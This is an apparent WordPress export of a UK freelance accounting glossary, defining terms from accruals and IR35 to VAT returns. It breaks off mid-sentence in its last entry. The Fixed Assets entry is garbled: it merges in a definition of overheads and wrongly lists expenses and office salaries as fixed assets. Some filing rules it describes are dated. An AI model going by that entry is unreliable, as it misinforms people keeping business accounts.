{"id":6270,"date":"2023-06-09T10:56:24","date_gmt":"2023-06-09T10:56:24","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/freelance-accounting-glossary-definitions-terms-and-meanings\/"},"modified":"2023-06-09T10:56:24","modified_gmt":"2023-06-09T10:56:24","slug":"freelance-accounting-glossary-definitions-terms-and-meanings","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/","title":{"rendered":"Freelance Accounting Glossary: Definitions, Terms and Meanings"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Accruals\" title=\"Accruals\">Accruals<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Aged_Creditors\" title=\"Aged Creditors\">Aged Creditors<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Aged_Debtors\" title=\"Aged Debtors\">Aged Debtors<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Amortisation\" title=\"Amortisation\">Amortisation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Annual_Return\" title=\"Annual Return\">Annual Return<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Assets\" title=\"Assets\">Assets<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Balance_Sheet\" title=\"Balance Sheet\">Balance Sheet<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Bank_Deposits_and_depositing_cheques\" title=\"Bank Deposits and depositing cheques\">Bank Deposits and depositing cheques<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Benefit_in_Kind\" title=\"Benefit in Kind\">Benefit in Kind<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Capital_Allowances\" title=\"Capital Allowances\">Capital Allowances<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Corporation_Tax\" title=\"Corporation Tax\">Corporation Tax<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Cost_of_Sales\" title=\"Cost of Sales\">Cost of Sales<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Credit_Note\" title=\"Credit Note\">Credit Note<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Creditor\" title=\"Creditor\">Creditor<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Current_Assets\" title=\"Current Assets\">Current Assets<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Current_Liabilities\" title=\"Current Liabilities\">Current Liabilities<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Debtor\" title=\"Debtor\">Debtor<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Depreciation\" title=\"Depreciation\">Depreciation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Dividend\" title=\"Dividend\">Dividend<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#First_accounting_Year_End_date\" title=\"First accounting Year End date\">First accounting Year End date<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Fixed_Assets\" title=\"Fixed Assets\">Fixed Assets<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#IR35\" title=\"IR35\">IR35<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#National_Insurance_Number\" title=\"National Insurance Number\">National Insurance Number<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#P11D\" title=\"P11D\">P11D<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#P45_P46\" title=\"P45 \/ P46\">P45 \/ P46<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#PAYE\" title=\"PAYE\">PAYE<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#PAYE_Annual_Return\" title=\"PAYE Annual Return\">PAYE Annual Return<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Payment_Terms\" title=\"Payment Terms\">Payment Terms<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Personal_Service_Company\" title=\"Personal Service Company\">Personal Service Company<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Profit_Loss_Account\" title=\"Profit &amp; Loss Account\">Profit &amp; Loss Account<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-31\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Real_Time_Information_RTI\" title=\"Real Time Information (RTI)\">Real Time Information (RTI)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-32\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Retained_Profit\" title=\"Retained Profit\">Retained Profit<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-33\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Salary\" title=\"Salary\">Salary<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-34\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Service_Address\" title=\"Service Address\">Service Address<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-35\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Statutory_Adoption_Paternity_Maternity_Pay\" title=\"Statutory Adoption \/ Paternity \/ Maternity Pay\">Statutory Adoption \/ Paternity \/ Maternity Pay<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-36\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Statutory_Sick_Pay\" title=\"Statutory Sick Pay\">Statutory Sick Pay<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-37\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Tangible_Assets\" title=\"Tangible Assets\">Tangible Assets<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-38\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Tax_Period\" title=\"Tax Period\">Tax Period<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-39\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Tax_Point\" title=\"Tax Point\">Tax Point<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-40\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Taxable_Supplies\" title=\"Taxable Supplies\">Taxable Supplies<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-41\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Taxable_Turnover\" title=\"Taxable Turnover\">Taxable Turnover<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-42\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Trial_Balance\" title=\"Trial Balance\">Trial Balance<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-43\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Value_Added_Tax_VAT\" title=\"Value Added Tax (VAT)\">Value Added Tax (VAT)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-44\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#VAT_Return\" title=\"VAT Return\">VAT Return<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-45\" href=\"http:\/\/benrmatthews.local\/freelance-accounting-glossary-definitions-terms-and-meanings\/#Written_Down_Value\" title=\"Written Down Value\">Written Down Value<\/a><\/li><\/ul><\/nav><\/div>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/03\/ltxctkyw-_e-1024x683.jpg&quot; alt=&quot;Freelance Accounting Glossary&quot; width=&quot;750&quot; height=&quot;500&quot; class=&quot;aligncenter size-large wp-image-4585&quot; \/><\/p>\n<p>Our freelance accounting glossary has handy definitions of accounting and bookkeeping jargon &#8211; from accruals and aged creditors, to retained profit and written down value.<\/p>\n<p>If you\u2019re new to freelancing or running a business, you may hear a lot of words and phrases that are unfamiliar to you.<\/p>\n<p>Our freelance accounting glossary will explain some of the terms, definitions and meanings of the most-commonly used business and accounting phrases \u2013 so talking to your accountant should be a bit easier in the future.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Accruals\"><\/span>Accruals<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Year end accounts are produced using the \u201caccruals\u201d\u00a0accounting\u00a0concept. At its simplest, this means matching your sales and expenses to the year the work was done.<\/p>\n<p>An accrual journal is typically an expense which occurred in the next year of trading but which relates to the prior year. It should therefore be included in those accounts to accurately reflect the profit reported for that year of trading.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Aged_Creditors\"><\/span>Aged Creditors<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Aged Creditors is a report which provides a list of the suppliers to whom your business owes money and how old the debt is.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Aged_Debtors\"><\/span>Aged Debtors<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Aged Debtors is a report of the customers who owe you money and how old their debt is.<\/p>\n<p>This report can be used to see how much each customer owes you along with how much all of your customers owe you in total.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Amortisation\"><\/span>Amortisation<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The writing-off over time of the value of an intangible\u00a0asset, such as goodwill.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Annual_Return\"><\/span>Annual Return<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>An annual return is a snapshot of certain company information at a particular date known as the \u2018made up date\u2019. This is the date at which all the information in an annual return must be correct.<\/p>\n<p>The made-up date is usually the anniversary of:<\/p>\n<ul>\n<li>The incorporation of the company; or<\/li>\n<li>The made-up date of the previous annual return registered at Companies House.<\/li>\n<\/ul>\n<p>It is a separate document from a company\u2019s annual accounts.<\/p>\n<p>An annual return contains the following information:<\/p>\n<ul>\n<li>The name of the company;<\/li>\n<li>Its registered number;<\/li>\n<li>The date to which the annual return is made-up (the made-up date);<\/li>\n<li>The principal business activities of the company<\/li>\n<li>The type of company it is, for example, private or public;<\/li>\n<li>The registered office address of the company;<\/li>\n<li>The address (single alternate inspection location \u2013 SAIL) where the company keeps certain company records if not at the registered office, and those records held there;<\/li>\n<li>The details of the company secretary (corporate or individual), where applicable; and<\/li>\n<li>The details of all the company\u2019s directors (corporate or individual).<\/li>\n<\/ul>\n<p>If the company has share capital, the annual return must also contain:<\/p>\n<ul>\n<li>A marker to indicate whether the company was a \u2018Traded company\u2019 at any time during the return period;<\/li>\n<li>A statement of capital; and<\/li>\n<li>Details of the shareholders<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Assets\"><\/span>Assets<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>In the broadest terms, an asset is something that is:<\/p>\n<ul>\n<li>Owned \/ controlled by the company.<\/li>\n<li>Going to last for more than 1 year.<\/li>\n<li>Intended to be used in the company to generate more income.<\/li>\n<\/ul>\n<p>For example, a telephone used to make business calls, or a tool for your work such as a laptop, would qualify. You might decide to bring an item under company ownership as an asset so you can obtain certain benefits.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Balance_Sheet\"><\/span>Balance Sheet<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A snapshot of the business at a particular date, showing the amounts owed to other people, and the assets (such as stock, and money in the bank) that the business owns. The total at the bottom shows the value of the business at that date (ignoring goodwill and other intangible assets.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Bank_Deposits_and_depositing_cheques\"><\/span>Bank Deposits and depositing cheques<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>When you pay cash or cheques in to your company bank account, this is classed as a bank deposit and you should enter this in your freelance accounting software to ensure your banking records are up to date.<\/p>\n<p>Bank deposits can also include money lent to the company by its directors in the form of electronic transfer from a personal bank account, cash or cheque.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Benefit_in_Kind\"><\/span>Benefit in Kind<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Benefits in kind are various non-wage compensations provided to employees in addition to their normal wages or salaries. They may be thought of as perks.<\/p>\n<p>Common benefits include:<\/p>\n<ul>\n<li>A company car<\/li>\n<li>Private health insurance<\/li>\n<li>Personal tax return fees paid for by the company<\/li>\n<li>Interest free loans from the company to an employee<\/li>\n<li>Travel and hotel accommodation (HMRC require travel to be reported even though it\u2019s not taxable)<\/li>\n<\/ul>\n<p>Due to the fact that these benefits effectively increase your income, they may incur National Insurance contributions. Any National Insurance contributions owed should be paid to HMRC by the company, not an individual employee.<\/p>\n<p>A\u00a0P11D form\u00a0informs HMRC of the value of any benefits in kind employees of a company have received during the tax year.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Capital_Allowances\"><\/span>Capital Allowances<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The allowing by HMRC of a certain amount of money spent by a company on fixed assets to be taken off the profits of the company before tax is imposed.<\/p>\n<p>Capital allowances are only allowed for certain kinds of assets.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Corporation_Tax\"><\/span>Corporation Tax<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A tax levied on the taxable profits of a company. Corporation Tax must be paid within 9 months of the end of your company\u2019s accounting period.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Cost_of_Sales\"><\/span>Cost of Sales<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Any purchases made in order for a sale to have happened, such as an item that is resold. So, for a restaurant this would be food and drink, or for a computer repair shop this would be computer parts.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Credit_Note\"><\/span>Credit Note<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A credit note\u00a0is a document sent to a buyer from a seller stating that an amount has been credited to the buyer\u2019s account. \u00a0Credit notes are usually used to correct mistakes on invoices or to document the fact that a refund has been given.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Creditor\"><\/span>Creditor<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A person or other company that is owed money.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Current_Assets\"><\/span>Current Assets<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Those assets that are short-term in nature. Includes cash, bank balances, and assets that you expect to convert into money within a year\u2019s time, such as amounts owed by customers, and trading stock.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Current_Liabilities\"><\/span>Current Liabilities<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Amounts owed to other people, which have to be paid within one year.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Debtor\"><\/span>Debtor<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A person or other company that owes you money.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Depreciation\"><\/span>Depreciation<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The decrease in the value of a tangible\u00a0asset, such as a computer, over time.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Dividend\"><\/span>Dividend<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Dividends are payments made to company shareholders from the profits of the company after corporation tax. If you draw dividends that take your income beyond the basic rate tax band, you may incur a personal tax liability depending on your annual earnings. You do not pay National Insurance on dividends.<\/p>\n<p>It is up to the director\/s of a company to decide if and when a dividend is paid to the shareholder\/s. If the company has not made a profit then it cannot pay a dividend. Dividends can be issued to shareholders in accordance with how many shares they hold.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"First_accounting_Year_End_date\"><\/span>First accounting Year End date<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The end date of the company\u2019s first accounting year. For limited companies this is usually one year after company formation (and the end of that month).<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Fixed_Assets\"><\/span>Fixed Assets<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Fixed assets are assets that have a long-term, ongoing role in the business. This includes property, equipment, vehicles and goodwill overheads: Those expenses that are less likely to vary with short-term ups and downs in the business. Examples of fixed assets include premises, computers, expenses and office salaries.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"IR35\"><\/span>IR35<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>IR35 is a piece of government legislation that affects how much tax you should pay if you work for an organisation via a Limited Company but would be considered an employee of the organisation if it were not for your Limited Company. It is designed to combat false self-employment.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"National_Insurance_Number\"><\/span>National Insurance Number<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Your NI number is your personal identifier for the social security system. This identifier ensures that your National Insurance contributions and tax are properly recorded.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"P11D\"><\/span>P11D<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A P11D is a form required by HMRC that details any\u00a0benefits in kind\u00a0that have been claimed during the past tax year (6th April \u2013 5th April).<\/p>\n<p>Details of any benefits in kind are required for:<\/p>\n<ul>\n<li>All directors and employees of the company who earn over \u00a38500 per year<\/li>\n<li>Any director own owns more than 5% of shares in the company<\/li>\n<\/ul>\n<div>\n<p>Even if your company only has one director you still have to file a P11D. The P11D form must be filed with HMRC every year on the 6th July. Any tax payment due must be paid to HMRC by the 19th July each year.<\/p>\n<p>(The P11D is not to be confused with form\u00a0P11, which is for tracking deductions made by PAYE)<\/p>\n<h2><span class=\"ez-toc-section\" id=\"P45_P46\"><\/span>P45 \/ P46<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>When you stop working for an employer, they will give you a P45. A P45 is a record of how much they paid you in that tax year, and how much tax was deducted.<\/p>\n<p>If, for whatever reason, you don\u2019t have a P45, you may have to complete a P46 form. The information you provide on this form will determine how you will be taxed.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"PAYE\"><\/span>PAYE<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A compulsory method of tax collection, where an employer must deduct tax from most wages and salary payments to staff.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"PAYE_Annual_Return\"><\/span>PAYE Annual Return<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A PAYE Annual Return, also know as an Employer Annual Return comprises a P35 and P14 form. The PAYE Annual Return is not to be confused with your company\u2019s\u00a0Annual Return.<\/p>\n<p>A P35 combines all of your employees\u2019 end-of-year payroll totals, while a P14 form is for each individual employee for whom a\u00a0P11\u00a0or equivalent record has been maintained.<\/p>\n<p>Almost all employers are required by HMRC to file their Employer Annual Return online and must be filed with HMRC by the 19th of May.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Payment_Terms\"><\/span>Payment Terms<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>These terms specify the number of days allowed to your client to pay off the amount due.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Personal_Service_Company\"><\/span>Personal Service Company<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>You are a personal service company if more than half of your income is derived from services that are performed by its shareholders and provided under contracts between your company and its clients.<\/p>\n<p>Please note that this does\u00a0not\u00a0necessarily mean you fall within IR35. That is a separate consideration dependent on the contractual and working arrangements that are in place with your client(s).<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Profit_Loss_Account\"><\/span>Profit &amp; Loss Account<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A statement which shows the profit or loss of a business, and summarises how it has arisen. It usually covers a year, and also shows last year as a comparison.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Real_Time_Information_RTI\"><\/span>Real Time Information (RTI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>From 6 April 2013 employers are required to report PAYE information to HMRC in real time through the Real Time Information (RTI) scheme.<\/p>\n<p>This means that employers will have to send details to HMRC electronically every\u00a0time they pay an employee as part of their routine payroll process.<\/p>\n<p>HMRC is introducing RTI in order to modernise\u00a0the Pay As You Earn (PAYE) system and keep pace with changes to modern working patterns. RTI provides HMRC with up to date information, so it should be easier to ensure deductions for tax, National Insurance and student loans are accurate<\/p>\n<p>The way PAYE is calculated, employees paid and payments made to HMRC has not\u00a0changed.<\/p>\n<p>Under RTI, instead of sending information to HMRC once a year (via a \u2018P35\u2032 and \u2018P14s\u2019) RTI returns must be made each time employees are paid. There is also no longer a requirement to file starter or leaver forms (\u2018P45\u2032 and \u2018P46\u2032) to HMRC as this information will be included as part of a regular RTI submission.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Retained_Profit\"><\/span>Retained Profit<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This is the amount of net income kept in your limited company which has not been withdrawn from the company as dividends.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Salary\"><\/span>Salary<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A form of periodic payment to an employee from his or her employer.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Service_Address\"><\/span>Service Address<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This is a new term which came into effect on 1st. October 2009.<\/p>\n<p>Until that date, directors were required to state their usual residential addresses on the forms at Companies House. Now they may state a service address, which may be the company\u2019s registered office or some other address where they may be contacted.<\/p>\n<p>A director must still notify Companies House of his or her residential address, but this is not put on the public record, though it will be available to public authorities and credit reference agencies. So, when registering a company, the director must state both their service address and their usual residential address (though they may well be the same address).<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Statutory_Adoption_Paternity_Maternity_Pay\"><\/span>Statutory Adoption \/ Paternity \/ Maternity Pay<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A legally-required level of pay when an employee becomes a parent either by birth or adoption.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Statutory_Sick_Pay\"><\/span>Statutory Sick Pay<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Any employee who is struck down by illness for four or more consecutive days may be entitled for up to 28 weeks of replacement salary.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Tangible_Assets\"><\/span>Tangible Assets<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Those assets that you can touch, such as property, equipment and cars.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Tax_Period\"><\/span>Tax Period<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The period of time covered by your VAT return, usually this is quarterly.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Tax_Point\"><\/span>Tax Point<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The time when a VAT liability arises. For goods, this is usually when you send the goods to a customer or when they take them away. For services, this is usually when the service is performed.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Taxable_Supplies\"><\/span>Taxable Supplies<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>All goods and services you sell or otherwise supply which are liable to VAT at the standard, reduced or zero rate \u2013 whether you are registered for VAT or not.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Taxable_Turnover\"><\/span>Taxable Turnover<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The total value, excluding VAT, of the taxable supplies you make in the UK. This excludes capital items like buildings, equipment, vehicles or exempt supplies.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Trial_Balance\"><\/span>Trial Balance<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A Trial Balance is a list of ledger balances, in debits and credits, within your yearly general ledger.<\/p>\n<p>You can use the trial balance to ensure that your company\u2019s books do indeed balance, i.e., the sum of the credits is equal to the sum of the debits.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Value_Added_Tax_VAT\"><\/span>Value Added Tax (VAT)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A tax charged on business transactions that is added to the cost of the goods or services provided.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"VAT_Return\"><\/span>VAT Return<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A VAT Return is a document sent to HM Revenue &amp; Customs stating the VAT you have charged on your sales to your customers and the VAT you have paid on your purchases during the VAT period.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Written_Down_Value\"><\/span>Written Down Value<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>From a taxation perspective, the Written Down Value is the value of an asset minus any capital 